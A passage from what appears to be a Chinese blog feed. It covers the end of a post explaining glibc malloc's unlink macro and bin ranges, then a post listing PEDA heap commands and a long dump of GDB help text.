P->bk_nextsize->fd_nextsize = FD;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> P->fd_nextsize->bk_nextsize = P->bk_nextsize;</span><br><span class="line"> P->bk_nextsize->fd_nextsize = P->fd_nextsize;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>参数P为待脱链的chunk, BK是前向指针, FD是后向指针</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">FD = P->fd;</span><br><span class="line">BK = P->bk;</span><br></pre></td></tr></table></figure><p>FD保存P chunk的前一个空闲chunk, BK保存后一个空闲chunk</p><p>然后是一个检查</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>))</span><br></pre></td></tr></table></figure><p>即 判断前一个空闲chunk的后向指针和后一个空闲chunk的前向指针是否指向P</p><p>因为fastbins是单链表结构, 所以unlink只能是从smallbins和largebins来脱离</p><p>判断成立的话, 会把这个chunk解下来</p><p>贴一张ctf wiki的图</p><p><img src="/images/unlink宏的实现机制/unlink.jpg" alt=""></p><p>接着判断:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (!in_smallbin_range (P-><span class="built_in">size</span>) && __builtin_expect (P->fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>))</span><br></pre></td></tr></table></figure><p>即 判断P chunk的size是否在small bin的范围内, 并且判断前一个chunk的size是否为空</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NBINS 128</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> NSMALLBINS 64</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SMALLBIN_WIDTH MALLOC_ALIGNMENT <span class="comment">//16 in i386</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> in_smallbin_range(sz) \</span></span><br><span class="line"> ((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (sz) < (<span class="keyword">unsigned</span> <span class="keyword">long</span>) MIN_LARGE_SIZE)</span><br></pre></td></tr></table></figure><p>large bin 结构图:</p><p><img src="/images/unlink宏的实现机制/largebin.png" alt=""></p><p>small bin 结构图:</p><p><img src="/images/unlink宏的实现机制/small bin.png" alt=""></p>]]></content>
<tags>
<tag> pwn </tag>
</tags>
</entry>
<entry>
<title>Peda的几个命令</title>
<link href="/2019/03/04/peda%E7%9A%84%E5%87%A0%E4%B8%AA%E5%91%BD%E4%BB%A4/"/>
<url>/2019/03/04/peda%E7%9A%84%E5%87%A0%E4%B8%AA%E5%91%BD%E4%BB%A4/</url>
<content type="html"><![CDATA[<h1 id="常用的几个堆的命令"><a href="#常用的几个堆的命令" class="headerlink" title="常用的几个堆的命令:"></a>常用的几个堆的命令:</h1><pre><code>fastbins -- Walk and print the fast binsfreebins -- Walk and print the nonempty free binsprint_bin_layout -- Dump the layout of a free binprint_bin_layout -- Dump the layout of a free binheap -- Libheap command help listingheapls -- Print a flat listing of an arenaheaplsc -- Print compact arena layout (all chunks)mstats -- Print general malloc stats</code></pre><p>附全部命令, 便于查阅:</p><h1 id="Command-class-aliases"><a href="#Command-class-aliases" class="headerlink" title="Command class: aliases"></a>Command class: aliases</h1><pre><code>ni -- Step one instructionrc -- Continue program being debugged but run it in reverserni -- Step backward one instructionrsi -- Step backward exactly one instructionsi -- Step one instruction exactlystepping -- Specify single-stepping behavior at a tracepointtp -- Set a tracepoint at specified locationtty -- Set terminal for future runs of program being debuggedwhere -- Print backtrace of all stack framesws -- Specify single-stepping behavior at a tracepoint</code></pre><h1 id="Command-class-breakpoints"><a href="#Command-class-breakpoints" class="headerlink" title="Command class: breakpoints"></a>Command class: breakpoints</h1><pre><code>awatch -- Set a watchpoint for an expressionbreak -- Set breakpoint at specified locationbreak-range -- Set a breakpoint for an address rangecatch -- Set catchpoints to catch eventscatch assert -- Catch failed Ada assertionscatch catch -- Catch an exceptioncatch exception -- Catch Ada exceptionscatch exec -- Catch calls to execcatch fork -- Catch calls to forkcatch load -- Catch loads of shared librariescatch rethrow -- Catch an exceptioncatch signal -- Catch signals by their names and/or numberscatch syscall -- Catch system calls by their names and/or numberscatch throw -- Catch an exceptioncatch unload -- Catch unloads of shared librariescatch vfork -- Catch calls to vforkcommands -- Set commands to be executed when a breakpoint is hitcondition -- Specify breakpoint number N to break only if COND is truedelete -- Delete some breakpoints or auto-display expressionsdelete bookmark -- Delete a bookmark from the bookmark listdelete breakpoints -- Delete some breakpoints or auto-display expressionsdelete checkpoint -- Delete a checkpoint (experimental)delete display -- Cancel some expressions to be displayed when program stopsdelete mem -- Delete memory regiondelete tracepoints -- Delete specified tracepointsdelete tvariable -- Delete one or more trace state variablesdisable -- Disable some breakpointsdisable breakpoints -- Disable some breakpointsdisable display -- Disable some expressions to be displayed when program stopsdisable frame-filter -- GDB command to disable the specified frame-filterdisable mem -- Disable memory regiondisable pretty-printer -- GDB command to disable the specified pretty-printerdisable probes -- Disable probesdisable tracepoints -- Disable specified tracepointsdisable type-printer -- GDB command to disable the specified type-printerdisable unwinder -- GDB command to disable the specified unwinderdisable xmethod -- GDB command to disable a specified (group of) xmethod(s)dprintf -- Set a dynamic printf at specified locationenable -- Enable some breakpointsenable breakpoints -- Enable some breakpointsenable breakpoints count -- Enable breakpoints for COUNT hitsenable breakpoints delete -- Enable breakpoints and delete when hitenable breakpoints once -- Enable breakpoints for one hitenable count -- Enable breakpoints for COUNT hitsenable delete -- Enable breakpoints and delete when hitenable display -- Enable some expressions to be displayed when program stopsenable frame-filter -- GDB command to disable the specified frame-filterenable mem -- Enable memory regionenable once -- Enable breakpoints for one hitenable pretty-printer -- GDB command to enable the specified pretty-printerenable probes -- Enable probesenable tracepoints -- Enable specified tracepointsenable type-printer -- GDB command to enable the specified type printerenable unwinder -- GDB command to enable unwindersenable xmethod -- GDB command to enable a specified (group of) xmethod(s)hbreak -- Set a hardware assisted breakpointignore -- Set ignore-count of breakpoint number N to COUNTrbreak -- Set a breakpoint for all functions matching REGEXPrwatch -- Set a read watchpoint for an expressionsave -- Save breakpoint definitions as a scriptsave breakpoints -- Save current breakpoint definitions as a scriptsave gdb-index -- Save a gdb-index filesave tracepoints -- Save current tracepoint definitions as a scriptskip -- Ignore a function while steppingskip delete -- Delete skip entriesskip disable -- Disable skip entriesskip enable -- Enable skip entriesskip file -- Ignore a file while steppingskip function -- Ignore a function while steppingstrace -- Set a static tracepoint at location or markertbreak -- Set a temporary breakpointtcatch -- Set temporary catchpoints to catch eventstcatch assert -- Catch failed Ada assertionstcatch catch -- Catch an exceptiontcatch exception -- Catch Ada exceptionstcatch exec -- Catch calls to exectcatch fork -- Catch calls to forktcatch load -- Catch loads of shared librariestcatch rethrow -- Catch an exceptiontcatch signal -- Catch signals by their names and/or numberstcatch syscall -- Catch system calls by their names and/or numberstcatch throw -- Catch an exceptiontcatch unload -- Catch unloads of shared librariestcatch vfork -- Catch calls to vforkthbreak -- Set a temporary hardware assisted breakpointtrace -- Set a tracepoint at specified locationwatch -- Set a watchpoint for an expression</code></pre><h1 id="Command-class-data"><a href="#Command-class-data" class="headerlink" title="Command class: data"></a>Command class: data</h1><pre><code>agent-printf -- Agent-printf "printf format string"append -- Append target code/data to a local fileappend binary -- Append target code/data to a raw binary fileappend binary memory -- Append contents of memory to a raw binary fileappend binary value -- Append the value of an expression to a raw binary fileappend memory -- Append contents of memory to a raw binary fileappend value -- Append the value of an expression to a raw binary filecall -- Call a function in the programdisassemble -- Disassemble a specified section of memorydisplay -- Print value of expression EXP each time the program stopsdump -- Dump target code/data to a local filedump binary -- Write target code/data to a raw binary filedump binary memory -- Write contents of memory to a raw binary filedump binary value -- Write the value of an expression to a raw binary filedump ihex -- Write target code/data to an intel hex filedump ihex memory -- Write contents of memory to an ihex filedump ihex value -- Write the value of an expression to an ihex filedump memory -- Write contents of memory to a raw binary filedump srec -- Write target code/data to an srec filedump srec memory -- Write contents of memory to an srec filedump srec value -- Write the value of an expression to an srec filedump tekhex -- Write target code/data to a tekhex filedump tekhex memory -- Write contents of memory to a tekhex filedump tekhex value -- Write the value of an expression to a tekhex filedump value -- Write the value of an expression to a raw binary filedump verilog -- Write target code/data to a verilog hex filedump verilog memory -- Write contents of memory to a verilog hex filedump verilog value -- Write the value of an expression to a verilog hex fileexplore -- Explore a value or a type valid in the current contextexplore type -- Explore a type or the type of an expression valid in the currentexplore value -- Explore value of an expression valid in the current contextinit-if-undefined -- Initialize a convenience variable if necessarymem -- Define attributes for memory region or reset memory region handling tooutput -- Like "print" but don't put in value history and don't print newlinepeda -- 1;31mPEDA1;34m - Python Exploit Development Assistance for GDBprint -- Print value of expression EXPprint-object -- Ask an Objective-C object to print itselfprintf -- Printf "printf format string"ptype -- Print definition of type TYPErestore -- Restore the contents of FILE to target memoryset -- Evaluate expression EXP and assign result to variable VARset ada -- Prefix command for changing Ada-specfic settingsset ada print-signatures -- Enable or disable the output of formal and return types for functions in the overloads selection menuset ada trust-PAD-over-XVS -- Enable or disable an optimization trusting PAD types over XVS typesset agent -- Set debugger's willingness to use agent as a helperset annotate -- Set annotation_levelset architecture -- Set architecture of targetset args -- Set argument list to give program being debugged when it is startedset auto-connect-native-target -- Set whether GDB may automatically connect to the native targetset auto-load -- Auto-loading specific settingsset auto-load gdb-scripts -- Enable or disable auto-loading of canned sequences of commands scriptsset auto-load libthread-db -- Enable or disable auto-loading of inferior specific libthread_dbset auto-load local-gdbinit -- Enable or disable auto-loading of .gdbinit script in current directoryset auto-load python-scripts -- Set the debugger's behaviour regarding auto-loaded Python scriptsset auto-load safe-path -- Set the list of files and directories that are safe for auto-loadingset auto-load scripts-directory -- Set the list of directories from which to load auto-loaded scriptsset auto-load-scripts -- Set the debugger's behaviour regarding auto-loaded Python scriptsset auto-solib-add -- Set autoloading of shared library symbolsset backtrace -- Set backtrace specific variablesset backtrace limit -- Set an upper bound on the number of backtrace levelsset backtrace past-entry -- Set whether backtraces should continue past the entry point of a programset backtrace past-main -- Set whether backtraces should continue past "main"set basenames-may-differ -- Set whether a source file may have multiple base namesset breakpoint -- Breakpoint specific settingsset breakpoint always-inserted -- Set mode for inserting breakpointsset breakpoint auto-hw -- Set automatic usage of hardware breakpointsset breakpoint condition-evaluation -- Set mode of breakpoint condition evaluationset breakpoint pending -- Set debugger's behavior regarding pending breakpointsset can-use-hw-watchpoints -- Set debugger's willingness to use watchpoint hardwareset case-sensitive -- Set case sensitivity in name searchset charset -- Set the host and target character setsset check -- Set the status of the type/range checkerset check range -- Set range checkingset check type -- Set strict type checkingset circular-trace-buffer -- Set target's use of circular trace bufferset code-cache -- Set cache use for code segment accessset coerce-float-to-double -- Set coercion of floats to doubles when calling functionsset compile-args -- Set compile command GCC command-line argumentsset complaints -- Set max number of complaints about incorrect symbolsset confirm -- Set whether to confirm potentially dangerous operationsset cp-abi -- Set the ABI used for inspecting C++ objectsset data-directory -- Set GDB's data directoryset dcache -- Use this command to set number of lines in dcache and line-sizeset dcache line-size -- Set dcache line size in bytes (must be power of 2)set dcache size -- Set number of dcache linesset debug -- Generic command for setting gdb debugging flagsset debug arch -- Set architecture debuggingset debug auto-load -- Set auto-load verifications debuggingset debug bfd-cache -- Set bfd cache debuggingset debug check-physname -- Set cross-checking of "physname" code against demanglerset debug coff-pe-read -- Set coff PE read debuggingset debug compile -- Set compile command debuggingset debug displaced -- Set displaced stepping debuggingset debug dwarf-die -- Set debugging of the DWARF DIE readerset debug dwarf-line -- Set debugging of the dwarf line readerset debug dwarf-read -- Set debugging of the DWARF readerset debug entry-values -- Set entry values and tail call frames debuggingset debug expression -- Set expression debuggingset debug frame -- Set frame debuggingset debug infrun -- Set inferior debuggingset debug jit -- Set JIT debuggingset debug libthread-db -- Set libthread-db debuggingset debug lin-lwp -- Set debugging of GNU/Linux lwp moduleset debug linux-namespaces -- Set debugging of GNU/Linux namespaces moduleset debug notification -- Set debugging of async remote notificationset debug observer -- Set observer debuggingset debug overload -- Set debugging of C++ overloadingset debug parser -- Set parser debuggingset debug py-unwind -- Set Python unwinder debuggingset debug record -- Set debugging of record/replay featureset debug remote -- Set debugging of remote protocolset debug serial -- Set serial debuggingset debug stap-expression -- Set SystemTap expression debuggingset debug symbol-lookup -- Set debugging of symbol lookupset debug symfile -- Set debugging of the symfile functionsset debug symtab-create -- Set debugging of symbol table creationset debug target -- Set target debuggingset debug timestamp -- Set timestamping of debugging messagesset debug varobj -- Set varobj debuggingset debug xml -- Set XML parser debuggingset debug-file-directory -- Set the directories where separate debug symbols are searched forset default-collect -- Set the list of expressions to collect by defaultset demangle-style -- Set the current C++ demangling styleset detach-on-fork -- Set whether gdb will detach the child of a forkset directories -- Set the search path for finding source filesset disable-randomization -- Set disabling of debuggee's virtual address space randomizationset disassemble-next-line -- Set whether to disassemble next source line or insn when execution stopsset disassembly-flavor -- Set the disassembly flavorset disconnected-dprintf -- Set whether dprintf continues after GDB disconnectsset disconnected-tracing -- Set whether tracing continues after GDB disconnectsset displaced-stepping -- Set debugger's willingness to use displaced steppingset dprintf-channel -- Set the channel to use for dynamic printfset dprintf-function -- Set the function to use for dynamic printfset dprintf-style -- Set the style of usage for dynamic printfset editing -- Set editing of command lines as they are typedset endian -- Set endianness of targetset environment -- Set environment variable value to give the programset exec-direction -- Set direction of executionset exec-done-display -- Set notification of completion for asynchronous execution commandsset exec-wrapper -- Set a wrapper for running programsset extended-prompt -- Set the extended promptset extension-language -- Set mapping between filename extension and source languageset filename-display -- Set how to display filenamesset follow-exec-mode -- Set debugger response to a program call of execset follow-fork-mode -- Set debugger response to a program call of fork or vforkset frame-filter -- Prefix command for 'set' frame-filter related operationsset frame-filter priority -- GDB command to set the priority of the specified frame-filterset gnutarget -- Set the current BFD targetset guile -- Prefix command for Guile preference settingsset guile print-stack -- Set mode for Guile exception printing on errorset height -- Set number of lines in a page for GDB output paginationset history -- Generic command for setting command history parametersset history expansion -- Set history expansion on command inputset history filename -- Set the filename in which to record the command historyset history remove-duplicates -- Set how far back in history to look for and remove duplicate entriesset history save -- Set saving of the history record on exitset history size -- Set the size of the command historyset host-charset -- Set the host character setset inferior-tty -- Set terminal for future runs of program being debuggedset input-radix -- Set default input radix for entering numbersset interactive-mode -- Set whether GDB's standard input is a terminalset language -- Set the current source languageset libthread-db-search-path -- Set search path for libthread_dbset listsize -- Set number of source lines gdb will list by defaultset logging -- Set logging optionsset logging file -- Set the current logfileset logging off -- Disable loggingset logging on -- Enable loggingset logging overwrite -- Set whether logging overwrites or appends to the log fileset logging redirect -- Set the logging output modeset max-completions -- Set maximum number of completion candidatesset max-user-call-depth -- Set the max call depth for non-python/scheme user-defined commandsset max-value-size -- Set maximum sized value gdb will load from the inferiorset may-insert-breakpoints -- Set permission to insert breakpoints in the targetset may-insert-fast-tracepoints -- Set permission to insert fast tracepoints in the targetset may-insert-tracepoints -- Set permission to insert tracepoints in the targetset may-interrupt -- Set permission to interrupt or signal the targetset may-write-memory -- Set permission to write into target memoryset may-write-registers -- Set permission to write into registersset mem -- Memory regions settingsset mem inaccessible-by-default -- Set handling of unknown memory regionsset mi-async -- Set whether MI asynchronous mode is enabledset mpx -- Set Intel Memory Protection Extensions specific variablesset mpx bound -- Set the memory bounds for a given array/pointer storage in the bound tableset multiple-symbols -- Set the debugger behavior when more than one symbol are possible matchesset non-stop -- Set whether gdb controls the inferior in non-stop modeset observer -- Set whether gdb controls the inferior in observer modeset opaque-type-resolution -- Set resolution of opaque struct/class/union types (if set before loading symbols)set osabi -- Set OS ABI of targetset output-radix -- Set default output radix for printing of valuesset overload-resolution -- Set overload resolution in evaluating C++ functionsset pagination -- Set state of GDB output paginationset print -- Generic command for setting how things printset print address -- Set printing of addressesset print array -- Set pretty formatting of arraysset print array-indexes -- Set printing of array indexesset print asm-demangle -- Set demangling of C++/ObjC names in disassembly listingsset print demangle -- Set demangling of encoded C++/ObjC names when displaying symbolsset print elements -- Set limit on string chars or array elements to printset print entry-values -- Set printing of function arguments at function entryset print frame-arguments -- Set printing of non-scalar frame argumentsset print inferior-events -- Set printing of inferior events (e.g.set print max-symbolic-offset -- Set the largest offset that will be printed in <symbol+1234> formset print null-stop -- Set printing of char arrays to stop at first null charset print object -- Set printing of object's derived type based on vtable infoset print pascal_static-members -- Set printing of pascal static membersset print pretty -- Set pretty formatting of structuresset print raw -- Generic command for setting what things to print in "raw" modeset print raw frame-arguments -- Set whether to print frame arguments in raw formset print repeats -- Set threshold for repeated print elementsset print sevenbit-strings -- Set printing of 8-bit characters in strings as \nnnset print static-members -- Set printing of C++ static membersset print symbol -- Set printing of symbol names when printing pointersset print symbol-filename -- Set printing of source filename and line number with <symbol>set print symbol-loading -- Set printing of symbol loading messagesset print thread-events -- Set printing of thread events (such as thread start and exit)set print type -- Generic command for setting how types printshow print type methods -- Set printing of methods defined in classesshow print type typedefs -- Set printing of typedefs defined in classesset print union -- Set printing of unions interior to structuresset print vtbl -- Set printing of C++ virtual function tablesset prompt -- Set gdb's promptset python -- Prefix command for python preference settingsset python print-stack -- Set mode for Python stack dump on errorset radix -- Set default input and output number radicesset range-stepping -- Enable or disable range steppingset record -- Set record optionsset record btrace -- Set record optionsset record btrace bts -- Set record btrace bts optionsset record btrace bts buffer-size -- Set the record/replay bts buffer sizeset record btrace pt -- Set record btrace pt optionsset record btrace pt buffer-size -- Set the record/replay pt buffer sizeset record btrace replay-memory-access -- Set what memory accesses are allowed during replayset record full -- Set record optionsset record full insn-number-max -- Set record/replay buffer limitset record full memory-query -- Set whether query if PREC cannot record memory change of next instructionset record full stop-at-limit -- Set whether record/replay stops when record/replay buffer becomes fullset record function-call-history-size -- Set number of function to print in "record function-call-history"set record instruction-history-size -- Set number of instructions to print in "record instruction-history"set remote -- Remote protocol specific variablesset remote P-packet -- Set use of remote protocol `P' (set-register) packetset remote TracepointSource-packet -- Set use of remote protocol `TracepointSource' (TracepointSource) packetset remote X-packet -- Set use of remote protocol `X' (binary-download) packetset remote Z-packet -- Set use of remote protocol `Z' packetsset remote access-watchpoint-packet -- Set use of remote protocol `Z4' (access-watchpoint) packetset remote agent-packet -- Set use of remote protocol `QAgent' (agent) packetset remote allow-packet -- Set use of remote protocol `QAllow' (allow) packetset remote attach-packet -- Set use of remote protocol `vAttach' (attach) packetset remote binary-download-packet -- Set use of remote protocol `X' (binary-download) packetset remote breakpoint-commands-packet -- Set use of remote protocol `BreakpointCommands' (breakpoint-commands) packetset remote btrace-conf-bts-size-packet -- Set use of remote protocol `Qbtrace-conf:bts:size' (btrace-conf-bts-size) packetset remote btrace-conf-pt-size-packet -- Set use of remote protocol `Qbtrace-conf:pt:size' (btrace-conf-pt-size) packetset remote catch-syscalls-packet -- Set use of remote protocol `QCatchSyscalls' (catch-syscalls) packetset remote conditional-breakpoints-packet -- Set use of remote protocol `ConditionalBreakpoints' (conditional-breakpoints) packetset remote conditional-tracepoints-packet -- Set use of remote protocol `ConditionalTracepoints' (conditional-tracepoints) packetset remote ctrl-c-packet -- Set use of remote protocol `vCtrlC' (ctrl-c) packetset remote disable-btrace-packet -- Set use of remote protocol `Qbtrace:off' (disable-btrace) packetset remote disable-randomization-packet -- Set use of remote protocol `QDisableRandomization' (disable-randomization) packetset remote enable-btrace-bts-packet -- Set use of remote protocol `Qbtrace:bts' (enable-btrace-bts) packetset remote enable-btrace-pt-packet -- Set use of remote protocol `Qbtrace:pt' (enable-btrace-pt) packetset remote exec-event-feature-packet -- Set use of remote protocol `exec-event-feature' (exec-event-feature) packetset remote exec-file -- Set the remote pathname for "run"set remote fast-tracepoints-packet -- Set use of remote protocol `FastTracepoints' (fast-tracepoints) packetset remote fetch-register-packet -- Set use of remote protocol `p' (fetch-register) packetset remote fork-event-feature-packet -- Set use of remote protocol `fork-event-feature' (fork-event-feature) packetset remote get-thread-information-block-address-packet -- Set use of remote protocol `qGetTIBAddr' (get-thread-information-block-address) packetset remote get-thread-local-storage-address-packet -- Set use of remote protocol `qGetTLSAddr' (get-thread-local-storage-address) packetset remote hardware-breakpoint-limit -- Set the maximum number of target hardware breakpointsset remote hardware-breakpoint-packet -- Set use of remote protocol `Z1' (hardware-breakpoint) packetset remote hardware-watchpoint-length-limit -- Set the maximum length (in bytes) of a target hardware watchpointset remote hardware-watchpoint-limit -- Set the maximum number of target hardware watchpointsset remote hostio-close-packet -- Set use of remote protocol `vFile:close' (hostio-close) packetset remote hostio-fstat-packet -- Set use of remote protocol `vFile:fstat' (hostio-fstat) packetset remote hostio-open-packet -- Set use of remote protocol `vFile:open' (hostio-open) packetset remote hostio-pread-packet -- Set use of remote protocol `vFile:pread' (hostio-pread) packetset remote hostio-pwrite-packet -- Set use of remote protocol `vFile:pwrite' (hostio-pwrite) packetset remote hostio-readlink-packet -- Set use of remote protocol `vFile:readlink' (hostio-readlink) packetset remote hostio-setfs-packet -- Set use of remote protocol `vFile:setfs' (hostio-setfs) packetset remote hostio-unlink-packet -- Set use of remote protocol `vFile:unlink' (hostio-unlink) packetset remote hwbreak-feature-packet -- Set use of remote protocol `hwbreak-feature' (hwbreak-feature) packetset remote install-in-trace-packet -- Set use of remote protocol `InstallInTrace' (install-in-trace) packetset remote interrupt-on-connect -- Set whether interrupt-sequence is sent to remote target when gdb connects toset remote interrupt-sequence -- Set interrupt sequence to remote targetset remote kill-packet -- Set use of remote protocol `vKill' (kill) packetset remote library-info-packet -- Set use of remote protocol `qXfer:libraries:read' (library-info) packetset remote library-info-svr4-packet -- Set use of remote protocol `qXfer:libraries-svr4:read' (library-info-svr4) packetset remote memory-map-packet -- Set use of remote protocol `qXfer:memory-map:read' (memory-map) packetset remote memory-read-packet-size -- Set the maximum number of bytes per memory-read packetset remote memory-write-packet-size -- Set the maximum number of bytes per memory-write packetset remote multiprocess-feature-packet -- Set use of remote protocol `multiprocess-feature' (multiprocess-feature) packetset remote no-resumed-stop-reply-packet -- Set use of remote protocol `N stop reply' (no-resumed-stop-reply) packetset remote noack-packet -- Set use of remote protocol `QStartNoAckMode' (noack) packetset remote osdata-packet -- Set use of remote protocol `qXfer:osdata:read' (osdata) packetset remote p-packet -- Set use of remote protocol `p' (fetch-register) packetset remote pass-signals-packet -- Set use of remote protocol `QPassSignals' (pass-signals) packetset remote pid-to-exec-file-packet -- Set use of remote protocol `qXfer:exec-file:read' (pid-to-exec-file) packetset remote program-signals-packet -- Set use of remote protocol `QProgramSignals' (program-signals) packetset remote query-attached-packet -- Set use of remote protocol `qAttached' (query-attached) packetset remote read-aux-vector-packet -- Set use of remote protocol `qXfer:auxv:read' (read-aux-vector) packetset remote read-btrace-conf-packet -- Set use of remote protocol `qXfer:btrace-conf' (read-btrace-conf) packetset remote read-btrace-packet -- Set use of remote protocol `qXfer:btrace' (read-btrace) packetset remote read-fdpic-loadmap-packet -- Set use of remote protocol `qXfer:fdpic:read' (read-fdpic-loadmap) packetset remote read-sdata-object-packet -- Set use of remote protocol `qXfer:statictrace:read' (read-sdata-object) packetset remote read-siginfo-object-packet -- Set use of remote protocol `qXfer:siginfo:read' (read-siginfo-object) packetset remote read-spu-object-packet -- Set use of remote protocol `qXfer:spu:read' (read-spu-object) packetset remote read-watchpoint-packet -- Set use of remote protocol `Z3' (read-watchpoint) packetset remote reverse-continue-packet -- Set use of remote protocol `bc' (reverse-continue) packetset remote reverse-step-packet -- Set use of remote protocol `bs' (reverse-step) packetset remote run-packet -- Set use of remote protocol `vRun' (run) packetset remote search-memory-packet -- Set use of remote protocol `qSearch:memory' (search-memory) packetset remote set-register-packet -- Set use of remote protocol `P' (set-register) packetset remote software-breakpoint-packet -- Set use of remote protocol `Z0' (software-breakpoint) packetset remote static-tracepoints-packet -- Set use of remote protocol `StaticTracepoints' (static-tracepoints) packetset remote supported-packets-packet -- Set use of remote protocol `qSupported' (supported-packets) packetset remote swbreak-feature-packet -- Set use of remote protocol `swbreak-feature' (swbreak-feature) packetset remote symbol-lookup-packet -- Set use of remote protocol `qSymbol' (symbol-lookup) packetset remote system-call-allowed -- Set if the host system(3) call is allowed for the targetset remote target-features-packet -- Set use of remote protocol `qXfer:features:read' (target-features) packetset remote thread-events-packet -- Set use of remote protocol `QThreadEvents' (thread-events) packetset remote threads-packet -- Set use of remote protocol `qXfer:threads:read' (threads) packetset remote trace-buffer-size-packet -- Set use of remote protocol `QTBuffer:size' (trace-buffer-size) packetset remote trace-status-packet -- Set use of remote protocol `qTStatus' (trace-status) packetset remote traceframe-info-packet -- Set use of remote protocol `qXfer:traceframe-info:read' (traceframe-info) packetset remote unwind-info-block-packet -- Set use of remote protocol `qXfer:uib:read' (unwind-info-block) packetset remote verbose-resume-packet -- Set use of remote protocol `vCont' (verbose-resume) packetset remote verbose-resume-supported-packet -- Set use of remote protocol `vContSupported' (verbose-resume-supported) packetset remote vfork-event-feature-packet -- Set use of remote protocol `vfork-event-feature' (vfork-event-feature) packetset remote write-siginfo-object-packet -- Set use of remote protocol `qXfer:siginfo:write' (write-siginfo-object) packetset remote write-spu-object-packet -- Set use of remote protocol `qXfer:spu:write' (write-spu-object) packetset remote write-watchpoint-packet -- Set use of remote protocol `Z2' (write-watchpoint) packetset remoteaddresssize -- Set the maximum size of the address (in bits) in a memory packetset remotebreak -- Set whether to send break if interruptedset remotecache -- Set cache use for remote targetsset remoteflow -- Set use of hardware flow control for remote serial I/Oset remotelogbase -- Set numerical base for remote session loggingset remotelogfile -- Set filename for remote session recordingset remotetimeout -- Set timeout limit to wait for target to respondset remotewritesize -- Set the maximum number of bytes per memory write packet (deprecated)set schedule-multiple -- Set mode for resuming threads of all processesset scheduler-locking -- Set mode for locking scheduler during executionset script-extension -- Set mode for script filename extension recognitionset serial -- Set default serial/parallel port configurationset serial baud -- Set baud rate for remote serial I/Oset serial parity -- Set parity for remote serial I/Oset solib-absolute-prefix -- Set an alternate system rootset solib-search-path -- Set the search path for loading non-absolute shared library symbol filesset stack-cache -- Set cache use for stack accessset startup-with-shell -- Set use of shell to start subprocessesset step-mode -- Set mode of the step operationset stop-on-solib-events -- Set stopping for shared library eventsset struct-convention -- Set the convention for returning small structsset substitute-path -- Usage: set substitute-path FROM TOset sysroot -- Set an alternate system rootset target-async -- Set whether MI asynchronous mode is enabledset target-charset -- Set the target character setset target-file-system-kind -- Set assumed file system kind for target reported file namesset target-wide-charset -- Set the target wide character setset tcp -- TCP protocol specific variablesset tcp auto-retry -- Set auto-retry on socket connectset tcp connect-timeout -- Set timeout limit in seconds for socket connectionset tdesc -- Set target description specific variablesset tdesc filename -- Set the file to read for an XML target descriptionset trace-buffer-size -- Set requested size of trace bufferset trace-commands -- Set tracing of GDB CLI commandsset trace-notes -- Set notes string to use for current and future trace runsset trace-stop-notes -- Set notes string to use for future tstop commandsset trace-user -- Set the user name to use for current and future trace runsset trust-readonly-sections -- Set mode for reading from readonly sectionsset tui -- TUI configuration variablesset tui active-border-mode -- Set the attribute mode to use for the active TUI window borderset tui border-kind -- Set the kind of border for TUI windowsset tui border-mode -- Set the attribute mode to use for the TUI window bordersset unwind-on-terminating-exception -- Set unwinding of stack if std::terminate is called while in call dummyset unwindonsignal -- Set unwinding of stack if a signal is received while in a call dummyset use-coredump-filter -- Set whether gcore should consider /proc/PID/coredump_filterset use-deprecated-index-sections -- Set whether to use deprecated gdb_index sectionsset variable -- Evaluate expression EXP and assign result to variable VARset verbose -- Set verbosityset watchdog -- Set watchdog timerset width -- Set number of characters where GDB should wrap lines of its outputset write -- Set writing into executable and core filesundisplay -- Cancel some expressions to be displayed when program stopswhatis -- Print data type of expression EXPx -- Examine memory: x/FMT ADDRESS</code></pre><h1 id="Command-class-files"><a href="#Command-class-files" class="headerlink" title="Command class: files"></a>Command class: files</h1><pre><code>add-symbol-file -- Load symbols from FILEadd-symbol-file-from-memory -- Load the symbols out of memory from a dynamically loaded object filecd -- Set working directory to DIR for debugger and program being debuggedcore-file -- Use FILE as core dump for examining memory and registersdirectory -- Add directory DIR to beginning of search path for source filesedit -- Edit specified file or functionexec-file -- Use FILE as program for getting contents of pure memoryfile -- Use FILE as program to be debuggedforward-search -- Search for regular expression (see regex(3)) from last line listedgenerate-core-file -- Save a core file with the current state of the debugged processlist -- List specified function or lineload -- Dynamically load FILE into the running programnosharedlibrary -- Unload all shared object library symbolspath -- Add directory DIR(s) to beginning of search path for object filespwd -- Print working directoryremote -- Manipulate files on the remote systemremote delete -- Delete a remote fileremote get -- Copy a remote file to the local systemremote put -- Copy a local file to the remote systemremove-symbol-file -- Remove a symbol file added via the add-symbol-file commandreverse-search -- Search backward for regular expression (see regex(3)) from last line listedsearch -- Search for regular expression (see regex(3)) from last line listedsection -- Change the base address of section SECTION of the exec file to ADDRsharedlibrary -- Load shared object library symbols for files matching REGEXPsymbol-file -- Load symbol table from executable file FILE</code></pre><h1 id="Command-class-internals"><a href="#Command-class-internals" class="headerlink" title="Command class: internals"></a>Command class: internals</h1><pre><code>flushregs -- Force gdb to flush its register cache (maintainer command)maintenance -- Commands for use by GDB maintainersmaintenance agent -- Translate an expression into remote agent bytecode for tracingmaintenance agent-eval -- Translate an expression into remote agent bytecode for evaluationmaintenance agent-printf -- Translate an expression into remote agent bytecode for evaluation and display the bytecodesmaintenance btrace -- Branch tracing maintenance commandsmaintenance btrace clear -- Clears the branch tracing datamaintenance btrace 